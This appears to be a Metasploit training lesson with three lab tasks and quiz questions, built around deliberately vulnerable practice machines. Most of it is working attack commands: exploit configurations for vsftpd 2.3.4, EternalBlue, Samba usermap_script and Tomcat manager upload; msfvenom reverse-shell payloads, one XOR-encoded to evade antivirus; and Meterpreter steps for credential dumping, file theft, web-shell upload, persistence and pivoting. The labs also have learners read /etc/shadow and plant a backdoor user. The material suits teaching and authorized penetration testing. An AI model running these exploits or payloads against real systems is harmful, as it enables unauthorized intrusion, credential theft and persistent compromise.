Exploitation Fundamentals with Metasploit

Master the Metasploit Framework for vulnerability exploitation — searching, selecting, configuring, and launching exploits, generating payloads with msfvenom, and managing sessions.

Hard 70m 3 tasks

Prerequisites: Active Reconnaissance & Network Scanning

Learning Objectives

→ Navigate the Metasploit Framework: search, use, set, run
→ Select appropriate payload types (staged vs stageless, Meterpreter)
→ Exploit services: vsftpd backdoor, EternalBlue, Samba username map script
→ Generate custom payloads with msfvenom
→ Manage and interact with Meterpreter sessions

Metasploit Framework Architecture

Metasploit (msfconsole) contains:
├── Exploits     — code to trigger vulnerabilities
├── Payloads     — code executed after exploitation
│   ├── Singles  — self-contained (no stage 2)
│   ├── Stagers  — small payload that downloads stage 2
│   └── Stages   — full payload (Meterpreter, shell)
├── Auxiliary    — scanning, fuzzing, brute force
├── Post         — post-exploitation modules
├── Encoders     — encode payload to bypass AV
└── Evasion      — AV/IDS evasion techniques

msfconsole Basics

# Start Metasploit
msfconsole

# Search for modules
msf6 > search eternalblue
msf6 > search type:exploit platform:windows ms17-010
msf6 > search vsftpd

# Use a module
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > info      # show module info
msf6 exploit(vsftpd_234_backdoor) > show options

# Set options
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.1.100
msf6 exploit(vsftpd_234_backdoor) > set RPORT 21
msf6 exploit(vsftpd_234_backdoor) > set LHOST 192.168.1.50  # attacker IP
msf6 exploit(vsftpd_234_backdoor) > set LPORT 4444

# Set payload
msf6 exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact

# Launch
msf6 exploit(vsftpd_234_backdoor) > run    # or 'exploit'
msf6 exploit(vsftpd_234_backdoor) > check  # check if vulnerable (not all modules)

Common Exploits

vsftpd 2.3.4 Backdoor (CVE-2011-2523)

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.100
set PAYLOAD cmd/unix/interact
run
# Result: command shell as root on port 6200

EternalBlue – MS17-010 (CVE-2017-0144)

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
# Result: SYSTEM-level Meterpreter session on Windows

Samba Username Map Script (CVE-2007-2447)

use exploit/multi/samba/usermap_script
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set PAYLOAD cmd/unix/reverse_netcat
run
# Result: root shell via Samba

Tomcat Manager Upload (CVE-2009-3843)

use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.1.100
set HttpUsername tomcat
set HttpPassword s3cret
set LHOST 192.168.1.50
set PAYLOAD java/meterpreter/reverse_tcp
run

Staged vs Stageless Payloads

Staged (/) :   windows/x64/meterpreter/reverse_tcp
  Stage 1: small stager connects back to Metasploit
  Stage 2: Metasploit sends full Meterpreter — bigger, more features
  Requires: Metasploit handler listening
  Better for: limited payload size, limited network

Stageless (_): windows/x64/meterpreter_reverse_tcp
  Complete payload in one package — no stage 2 needed
  Larger file but self-contained
  Better for: no Metasploit handler, standalone exe

Naming convention:
  / = staged  (meterpreter/reverse_tcp)
  _ = stageless (meterpreter_reverse_tcp)

Meterpreter Commands

# After getting a Meterpreter session:
meterpreter > help            # list all commands

# System info
meterpreter > sysinfo         # OS, hostname, arch
meterpreter > getuid          # current user
meterpreter > getpid          # current process ID
meterpreter > ps              # list processes

# File system
meterpreter > pwd             # current directory
meterpreter > ls              # list files
meterpreter > cd /tmp
meterpreter > download /etc/passwd /tmp/passwd
meterpreter > upload shell.php /var/www/html/

# Privilege escalation helpers
meterpreter > getsystem       # auto-attempt privesc (Windows)
meterpreter > run post/multi/recon/local_exploit_suggester

# Persistence
meterpreter > run post/windows/manage/persistence_exe

# Pivoting
meterpreter > run post/multi/manage/shell_to_meterpreter
meterpreter > portfwd add -l 3306 -p 3306 -r internal_db_ip

# Network
meterpreter > ipconfig        # network interfaces
meterpreter > arp             # ARP cache

# Shell
meterpreter > shell           # drop to OS shell
meterpreter > background      # send to background (Ctrl+Z)

# Session management
msf6 > sessions               # list all sessions
msf6 > sessions -i 1          # interact with session 1
msf6 > sessions -k 1          # kill session 1

msfvenom – Payload Generator

# List available payloads
msfvenom -l payloads | grep windows/x64/meterpreter

# Linux reverse shell ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# PHP web shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# ASP web shell (IIS)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# Python payload
msfvenom -p python/meterpreter_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# Encode to evade basic AV detection
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x64/xor_dynamic -i 10 -f exe -o encoded_shell.exe

# Set up handler to receive connection:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
run -j          # run as background job

Multi/Handler (Receiving Connections)

# Required when payload connects back to you
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0      # listen on all interfaces
set LPORT 4444
set ExitOnSession false  # keep handler running for multiple sessions
run -j                  # background job

Automating with Resource Scripts

# Create resource script: auto.rc
echo "use exploit/multi/handler" > auto.rc
echo "set PAYLOAD linux/x64/meterpreter/reverse_tcp" >> auto.rc
echo "set LHOST 0.0.0.0" >> auto.rc
echo "set LPORT 4444" >> auto.rc
echo "run -j" >> auto.rc

# Load in msfconsole:
msfconsole -r auto.rc

On Metasploitable2 VM: (1) confirm vsftpd 2.3.4 running on port 21 with nmap -sV, (2) load exploit/unix/ftp/vsftpd_234_backdoor, (3) set RHOSTS and run, (4) verify root shell obtained (id returns uid=0), (5) explore: ls /root, cat /etc/shadow, (6) set up persistence: add backdoor user to /etc/passwd.

✦ Answer the questions to complete this task

What makes the vsftpd 2.3.4 backdoor special?

What is the difference between 'run' and 'check' in Metasploit?

On a Windows 7 VM (or TryHackMe Blue room): (1) verify SMB vulnerability with nmap --script smb-vuln-ms17-010, (2) load ms17_010_eternalblue, (3) set LHOST and RHOSTS, (4) run and get SYSTEM Meterpreter, (5) use 'hashdump' to extract NTLM hashes, (6) background the session and run local_exploit_suggester.

✦ Answer the questions to complete this task

What access level does EternalBlue provide?

Generate and test multiple payload types: (1) Linux ELF: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=... -f elf, (2) Windows EXE: -p windows/x64/meterpreter/reverse_tcp -f exe, (3) PHP web shell: -p php/meterpreter_reverse_tcp -f raw, (4) set up multi/handler for each, (5) deliver PHP shell via a vulnerable file upload (DVWA), (6) compare staged vs stageless payload sizes.

✦ Answer the questions to complete this task

What is the difference between staged and stageless Metasploit payloads?